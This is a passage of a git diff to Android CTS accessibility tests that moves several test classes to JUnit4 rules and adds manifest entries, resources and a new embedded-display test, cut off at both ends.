        TestCase.assertSame("toIndex not properly recycled", -1, record.getToIndex());
    }
 
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
index 0029b53..b8bea69de 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
@@ -16,14 +16,28 @@
 
 package android.view.accessibility.cts;
 
-import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Service;
-import android.test.InstrumentationTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityManager;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
 import java.util.List;
 
 /**
@@ -33,18 +47,23 @@
  * accessibility service and the fake service used for implementing the UI
  * automation is not reported through the APIs.
  */
-public class AccessibilityServiceInfoTest  extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityServiceInfoTest {
 
-    @Override
-    public void setUp() throws Exception {
-        SpeakingAccessibilityService.enableSelf(getInstrumentation());
-        VibratingAccessibilityService.enableSelf(getInstrumentation());
-    }
+    private InstrumentedAccessibilityServiceTestRule<SpeakingAccessibilityService>
+            mSpeakingAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    SpeakingAccessibilityService.class);
 
-    @Override
-    public void tearDown() {
-        InstrumentedAccessibilityService.disableAllServices(getInstrumentation());
-    }
+    private InstrumentedAccessibilityServiceTestRule<VibratingAccessibilityService>
+            mVibratingAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    VibratingAccessibilityService.class);
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mVibratingAccessibilityServiceRule)
+            .around(mSpeakingAccessibilityServiceRule)
+            // Inner rule capture failure and dump data before finishing a11y service
+            .around(new AccessibilityDumpOnFailureRule());
 
     /**
      * Tests whether a service can that requested it can retrieve
@@ -52,6 +71,7 @@
      */
     @MediumTest
     @SuppressWarnings("deprecation")
+    @Test
     public void testAccessibilityServiceInfoForEnabledService() {
         AccessibilityManager accessibilityManager = (AccessibilityManager)
                 getInstrumentation().getContext().getSystemService(Service.ACCESSIBILITY_SERVICE);
@@ -67,7 +87,8 @@
                 | AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
                 | AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
                 | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
-                | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK,
+                | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK
+                | AccessibilityServiceInfo.FLAG_HANDLE_SHORTCUT,
                 speakingService.flags);
         assertSame(0l, speakingService.notificationTimeout);
         assertEquals("Some description", speakingService.getDescription());
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityWindowInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityWindowInfoTest.java
index e959544..9d4ecd7 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityWindowInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityWindowInfoTest.java
@@ -16,21 +16,43 @@
 
 package android.view.accessibility.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.graphics.Rect;
+import android.graphics.Region;
 import android.os.Parcel;
 import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
 import android.text.TextUtils;
+import android.view.Display;
 import android.view.accessibility.AccessibilityWindowInfo;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Class for testing {@link AccessibilityWindowInfo}.
  */
 @Presubmit
-public class AccessibilityWindowInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityWindowInfoTest {
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
 
     @SmallTest
+    @Test
     public void testObtain() {
         AccessibilityWindowInfo w1 = AccessibilityWindowInfo.obtain();
         assertNotNull(w1);
@@ -41,6 +63,7 @@
     }
 
     @SmallTest
+    @Test
     public void testParceling() {
         Parcel parcel = Parcel.obtain();
         AccessibilityWindowInfo w1 = AccessibilityWindowInfo.obtain();
@@ -48,11 +71,12 @@
         parcel.setDataPosition(0);
         AccessibilityWindowInfo w2 = AccessibilityWindowInfo.CREATOR.createFromParcel(parcel);
         assertNotSame(w1, w2);
-        assertTrue(areWindowsEqual(w1, w2));
+        assertTrue(w2.toString(), areWindowsEqual(w1, w2));
         parcel.recycle();
     }
 
     @SmallTest
+    @Test
     public void testDefaultValues() {
         AccessibilityWindowInfo w = AccessibilityWindowInfo.obtain();
         assertEquals(0, w.getChildCount());
@@ -60,6 +84,7 @@
         assertEquals(-1, w.getLayer());
         assertEquals(-1, w.getId());
         assertEquals(0, w.describeContents());
+        assertEquals(Display.INVALID_DISPLAY, w.getDisplayId());
         assertNull(w.getParent());
         assertNull(w.getRoot());
         assertFalse(w.isAccessibilityFocused());
@@ -71,6 +96,10 @@
         w.getBoundsInScreen(rect);
         assertTrue(rect.isEmpty());
 
+        Region region = new Region();
+        w.getRegionInScreen(region);
+        assertTrue(region.isEmpty());
+
         try {
             w.getChild(0);
             fail("Expected IndexOutOfBoundsException");
@@ -80,6 +109,7 @@
     }
 
     @SmallTest
+    @Test
     public void testRecycle() {
         AccessibilityWindowInfo w = AccessibilityWindowInfo.obtain();
         w.recycle();
@@ -99,11 +129,17 @@
         equality &= w1.isActive() == w2.isActive();
         equality &= w1.getType() == w2.getType();
         equality &= w1.getLayer() == w2.getLayer();
+        equality &= w1.getDisplayId() == w2.getDisplayId();
         Rect bounds1 = new Rect();
         Rect bounds2 = new Rect();
         w1.getBoundsInScreen(bounds1);
         w2.getBoundsInScreen(bounds2);
         equality &= bounds1.equals(bounds2);
+        Region regions1 = new Region();
+        Region regions2 = new Region();
+        w1.getRegionInScreen(regions1);
+        w2.getRegionInScreen(regions2);
+        equality &= regions1.equals(regions2);
         return equality;
     }
 }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java
index d0db868..c3054ef 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/CaptioningManagerTest.java
@@ -16,6 +16,12 @@
 
 package android.view.accessibility.cts;
 
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.mockito.Matchers.anyFloat;
 import static org.mockito.Matchers.anyObject;
 import static org.mockito.Mockito.mock;
@@ -23,13 +29,19 @@
 import static org.mockito.Mockito.verify;
 import static org.mockito.Mockito.verifyZeroInteractions;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.app.UiAutomation;
 import android.os.ParcelFileDescriptor;
-import android.test.InstrumentationTestCase;
 import android.view.accessibility.CaptioningManager;
 import android.view.accessibility.CaptioningManager.CaptionStyle;
 import android.view.accessibility.CaptioningManager.CaptioningChangeListener;
 
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.mockito.Mockito;
 
 import java.io.FileInputStream;
@@ -40,15 +52,19 @@
 /**
  * Tests whether the CaptioningManager APIs are functional.
  */
-public class CaptioningManagerTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CaptioningManagerTest {
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
     private static final int LISTENER_TIMEOUT = 3000;
     private CaptioningManager mManager;
     private UiAutomation mUiAutomation;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
         mManager = getInstrumentation().getTargetContext().getSystemService(
                 CaptioningManager.class);
 
@@ -60,6 +76,7 @@
     /**
      * Tests whether a client can observe changes in caption properties.
      */
+    @Test
     public void testChangeListener() {
         putSecureSetting("accessibility_captioning_enabled","0");
         putSecureSetting("accessibility_captioning_preset", "1");
@@ -97,16 +114,18 @@
         }
     }
 
+    @Test
     public void testProperties() {
         putSecureSetting("accessibility_captioning_font_scale", "2.0");
         putSecureSetting("accessibility_captioning_locale", "ja_JP");
         putSecureSetting("accessibility_captioning_enabled", "1");
 
-        assertEquals("Test runner set font scale to 2.0", 2.0f, mManager.getFontScale());
+        assertEquals("Test runner set font scale to 2.0", 2.0f, mManager.getFontScale(), 0f);
         assertEquals("Test runner set locale to Japanese", Locale.JAPAN, mManager.getLocale());
         assertEquals("Test runner set enabled to true", true, mManager.isEnabled());
     }
 
+    @Test
     public void testUserStyle() {
         putSecureSetting("accessibility_captioning_preset", "-1");
         putSecureSetting("accessibility_captioning_foreground_color", "511");
diff --git a/tests/accessibility/src/android/view/accessibility/cts/ServiceControlUtils.java b/tests/accessibility/src/android/view/accessibility/cts/ServiceControlUtils.java
deleted file mode 100644
index 9b1fae1..0000000
--- a/tests/accessibility/src/android/view/accessibility/cts/ServiceControlUtils.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.accessibility.cts;
-
-import static com.android.compatibility.common.util.TestUtils.waitOn;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.provider.Settings;
-import android.view.accessibility.AccessibilityManager;
-
-import java.util.function.BooleanSupplier;
-
-/**
- * Utility methods for enabling and disabling the services used in this package
- */
-public class ServiceControlUtils {
-
-    public static String getEnabledServices(ContentResolver cr) {
-        return Settings.Secure.getString(cr, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
-    }
-
-    /**
-     * Wait for a specified condition that will change with a services state change
-     *
-     * @param context A valid context
-     * @param condition The condition to check
-     * @param timeoutMs The timeout in millis
-     * @param conditionName The name to include in the assertion. If null, will be given a default.
-     */
-    public static void waitForConditionWithServiceStateChange(Context context,
-            BooleanSupplier condition, long timeoutMs, String conditionName) {
-        AccessibilityManager manager =
-                (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
-        Object lock = new Object();
-        AccessibilityManager.AccessibilityServicesStateChangeListener listener = (m) -> {
-            synchronized (lock) {
-                lock.notifyAll();
-            }
-        };
-        manager.addAccessibilityServicesStateChangeListener(listener, null);
-        try {
-            waitOn(lock, condition, timeoutMs, conditionName);
-        } finally {
-            manager.removeAccessibilityServicesStateChangeListener(listener);
-        }
-    }
-}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/SpeakingAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/SpeakingAccessibilityService.java
index d05232a..8a18f58 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/SpeakingAccessibilityService.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/SpeakingAccessibilityService.java
@@ -17,7 +17,6 @@
 package android.view.accessibility.cts;
 
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
 import android.content.ComponentName;
 
 /**
@@ -27,9 +26,4 @@
     public static final ComponentName COMPONENT_NAME = new ComponentName(
             "android.view.accessibility.cts",
             "android.view.accessibility.cts.SpeakingAccessibilityService");
-
-    public static SpeakingAccessibilityService enableSelf(Instrumentation instrumentation) {
-        return InstrumentedAccessibilityService.enableService(
-                instrumentation, SpeakingAccessibilityService.class);
-    }
 }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java
index cb8126d..c7c9844 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/SpeakingAndVibratingAccessibilityService.java
@@ -17,15 +17,9 @@
 package android.view.accessibility.cts;
 
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
 
 /**
  * Stub accessibility service that reports itself as providing multiple feedback types.
  */
 public class SpeakingAndVibratingAccessibilityService extends InstrumentedAccessibilityService {
-    public static SpeakingAndVibratingAccessibilityService enableSelf(
-            Instrumentation instrumentation) {
-        return InstrumentedAccessibilityService.enableService(instrumentation,
-                SpeakingAndVibratingAccessibilityService.class);
-    }
 }
diff --git a/tests/accessibility/src/android/view/accessibility/cts/VibratingAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/VibratingAccessibilityService.java
index 6b866aa..bec74e3 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/VibratingAccessibilityService.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/VibratingAccessibilityService.java
@@ -17,14 +17,9 @@
 package android.view.accessibility.cts;
 
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
 
 /**
  * Stub accessibility service that reports itself as providing haptic feedback.
  */
 public class VibratingAccessibilityService extends InstrumentedAccessibilityService {
-    public static VibratingAccessibilityService enableSelf(Instrumentation instrumentation) {
-        return InstrumentedAccessibilityService.enableService(instrumentation,
-                VibratingAccessibilityService.class);
-    }
 }
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
index b37f5cb..d96b545 100644
--- a/tests/accessibilityservice/Android.bp
+++ b/tests/accessibilityservice/Android.bp
@@ -19,6 +19,7 @@
         "ctstestrunner-axt",
         "hamcrest-library",
         "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
         "platform-test-annotations",
         "CtsAccessibilityCommon",
     ],
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index fc0b2e6..be1799a 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -20,10 +20,12 @@
           android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
     <uses-permission android:name="android.permission.USE_FINGERPRINT" />
 
-    <application android:theme="@android:style/Theme.Holo.NoActionBar">
+    <application android:theme="@android:style/Theme.Holo.NoActionBar"
+                 android:requestLegacyExternalStorage="true">
 
         <uses-library android:name="android.test.runner" />
 
@@ -67,6 +69,17 @@
             android:label="@string/accessibility_soft_keyboard_modes_activity"
             android:name=".AccessibilitySoftKeyboardModesTest$SoftKeyboardModesActivity" />
 
+        <activity
+            android:label="@string/accessibility_embedded_display_test_parent_activity"
+            android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayParentActivity"
+            android:theme="@android:style/Theme.Dialog"
+            android:screenOrientation="locked" />
+
+        <activity
+            android:label="@string/accessibility_embedded_display_test_activity"
+            android:name=".AccessibilityEmbeddedDisplayTest$EmbeddedDisplayActivity"
+            android:screenOrientation="locked" />
+
         <service
                 android:name=".StubGestureAccessibilityService"
                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
@@ -93,6 +106,17 @@
         </service>
 
         <service
+                android:name=".TouchExplorationStubAccessibilityService"
+                android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+            </intent-filter>
+            <meta-data
+                    android:name="android.accessibilityservice"
+                    android:resource="@xml/stub_touch_exploration_a11y_service" />
+        </service>
+        <service
             android:name="android.accessibility.cts.common.InstrumentedAccessibilityService"
             android:label="@string/title_soft_keyboard_modes_accessibility_service"
             android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index eb75538..b0e873c 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -34,4 +34,8 @@
         <option name="package" value="android.accessibilityservice.cts" />
         <option name="runtime-hint" value="2m12s" />
     </test>
+    <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+        <option name="directory-keys" value="/sdcard/android.accessibilityservice.cts" />
+        <option name="collect-on-run-ended-only" value="true" />
+    </metrics_collector>
 </configuration>
diff --git a/tests/accessibilityservice/OWNERS b/tests/accessibilityservice/OWNERS
index d225f2c..e54f581 100644
--- a/tests/accessibilityservice/OWNERS
+++ b/tests/accessibilityservice/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 44214
-pweaver@google.com
\ No newline at end of file
+pweaver@google.com
+rhedjao@google.com
diff --git a/tests/accessibilityservice/res/layout/accessibility_embedded_display_test.xml b/tests/accessibilityservice/res/layout/accessibility_embedded_display_test.xml
new file mode 100644
index 0000000..666bfbe
--- /dev/null
+++ b/tests/accessibilityservice/res/layout/accessibility_embedded_display_test.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:gravity="center"
+              android:orientation="vertical">
+
+    <Button
+        android:id="@+id/button"
+        android:text="@string/button_title"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
+
+</LinearLayout>
diff --git a/tests/accessibilityservice/res/layout/accessibility_view_tree_reporting_test.xml b/tests/accessibilityservice/res/layout/accessibility_view_tree_reporting_test.xml
index 0dbd62a..e05c259 100644
--- a/tests/accessibilityservice/res/layout/accessibility_view_tree_reporting_test.xml
+++ b/tests/accessibilityservice/res/layout/accessibility_view_tree_reporting_test.xml
@@ -88,6 +88,14 @@
               android:text="@string/secondButton"
               android:textSize="10dip" />
 
+          <Button
+              android:id="@+id/hiddenButton"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:text="@string/secondButton"
+              android:textSize="10dip"
+              android:visibility="gone" />
+
       </LinearLayout>
 
     </FrameLayout>
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index ad5d3fd..4dd1981 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -139,6 +139,8 @@
 
     <string name="a_b">A B</string>
 
+    <string name="testContentDescription">testContentDescription</string>
+
     <string name="german_text_with_strong_s">ß</string>
 
     <string name="android_wiki_search">Android is a Linux-based</string>
@@ -147,7 +149,9 @@
 
     <string name="stub_gesture_dispatch_a11y_service_description">com.android.accessibilityservice.cts.StubGestureAccessibilityService</string>
 
-    <string name="stub_gesture_detector_a11y_service_description">com.android.accessibilityservice.cts.StubService</string>
+    <string name="stub_gesture_detector_a11y_service_description">com.android.accessibilityservice.cts.GestureDetectionStubAccessibilityService</string>
+
+    <string name="stub_touch_exploration_a11y_service_description">com.android.accessibilityservice.cts.TouchExplorationStubAccessibilityService</string>
 
     <string name="stub_fprint_a11y_service_description">com.android.accessibilityservice.cts.StubFingerprintGestureAccessibilityService</string>
 
@@ -170,4 +174,12 @@
     <!-- Description of the accessibility service -->
     <string name="soft_keyboard_modes_accessibility_service_description">This Accessibility Service was installed for testing purposes. It can be uninstalled by going to Settings > Apps > android.view.accessibilityservice.services and selecting \"Uninstall\".</string>
 
+    <!-- AccessibilityEmbeddedDisplayTest -->
+
+    <!-- String title of accessibility embedded display test parent window activity -->
+    <string name="accessibility_embedded_display_test_parent_activity">Embedded display test parent</string>
+
+    <!-- String title of accessibility embedded display test activity -->
+    <string name="accessibility_embedded_display_test_activity">Embedded display test</string>
+
 </resources>
diff --git a/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml
new file mode 100644
index 0000000..33c5ec8
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_touch_exploration_a11y_service.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<accessibility-service
+        xmlns:android="http://schemas.android.com/apk/res/android"
+        android:description="@string/stub_touch_exploration_a11y_service_description"
+        android:accessibilityEventTypes="typeAllMask"
+        android:accessibilityFeedbackType="feedbackGeneric"
+        android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode|flagReportViewIds"
+        android:canRequestTouchExplorationMode="true"
+        android:canRetrieveWindowContent="true"
+        android:canPerformGestures="true" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
index 84fb0ef..39c358a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityButtonTest.java
@@ -14,18 +14,25 @@
 
 package android.accessibilityservice.cts;
 
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
+import static android.accessibilityservice.AccessibilityServiceInfo.FLAG_REQUEST_ACCESSIBILITY_BUTTON;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.AccessibilityButtonController;
-import android.app.Instrumentation;
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
+import android.view.Display;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 /**
@@ -37,6 +44,17 @@
 @RunWith(AndroidJUnit4.class)
 public class AccessibilityButtonTest {
 
+    private InstrumentedAccessibilityServiceTestRule<StubAccessibilityButtonService> mServiceRule =
+            new InstrumentedAccessibilityServiceTestRule<>(StubAccessibilityButtonService.class);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mServiceRule)
+            .around(mDumpOnFailureRule);
+
     private StubAccessibilityButtonService mService;
     private AccessibilityButtonController mButtonController;
     private AccessibilityButtonController.AccessibilityButtonCallback mStubCallback =
@@ -55,20 +73,38 @@
 
     @Before
     public void setUp() {
-        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        mService = StubAccessibilityButtonService.enableSelf(instrumentation);
+        mService = mServiceRule.getService();
         mButtonController = mService.getAccessibilityButtonController();
     }
 
-    @After
-    public void tearDown() {
-        runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelf));
-    }
-
     @Test
     @AppModeFull
     public void testCallbackRegistrationUnregistration_serviceDoesNotCrash() {
         mButtonController.registerAccessibilityButtonCallback(mStubCallback);
         mButtonController.unregisterAccessibilityButtonCallback(mStubCallback);
     }
+
+    @Test
+    @AppModeFull
+    public void testGetAccessibilityButtonControllerByDisplayId_NotReturnNull() {
+        final AccessibilityButtonController buttonController =
+                mService.getAccessibilityButtonController(
+                        Display.DEFAULT_DISPLAY);
+        assertNotNull(buttonController);
+    }
+
+    @Test
+    @AppModeFull
+    public void testUpdateRequestAccessibilityButtonFlag_targetSdkGreaterThanQ_ignoresUpdate() {
+        final AccessibilityServiceInfo serviceInfo = mService.getServiceInfo();
+        assertTrue((serviceInfo.flags & FLAG_REQUEST_ACCESSIBILITY_BUTTON)
+                == FLAG_REQUEST_ACCESSIBILITY_BUTTON);
+        assertTrue(mService.getApplicationInfo().targetSdkVersion > Build.VERSION_CODES.Q);
+
+        serviceInfo.flags &= ~FLAG_REQUEST_ACCESSIBILITY_BUTTON;
+        mService.setServiceInfo(serviceInfo);
+        assertTrue("Update flagRequestAccessibilityButton should fail",
+                (mService.getServiceInfo().flags & FLAG_REQUEST_ACCESSIBILITY_BUTTON)
+                        == FLAG_REQUEST_ACCESSIBILITY_BUTTON);
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java
new file mode 100644
index 0000000..721028a
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedDisplayTest.java
@@ -0,0 +1,277 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangeTypesAndWindowTitle;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
+import static android.content.pm.PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS;
+import static android.view.accessibility.AccessibilityEvent.WINDOWS_CHANGE_ADDED;
+import static android.view.accessibility.AccessibilityEvent.WINDOWS_CHANGE_BOUNDS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.accessibilityservice.cts.activities.AccessibilityTestActivity;
+import android.app.Activity;
+import android.app.ActivityView;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests that AccessibilityWindowInfos and AccessibilityNodeInfos from a window on an embedded
+ * display that is re-parented to another window are properly populated.
+ */
+@RunWith(AndroidJUnit4.class)
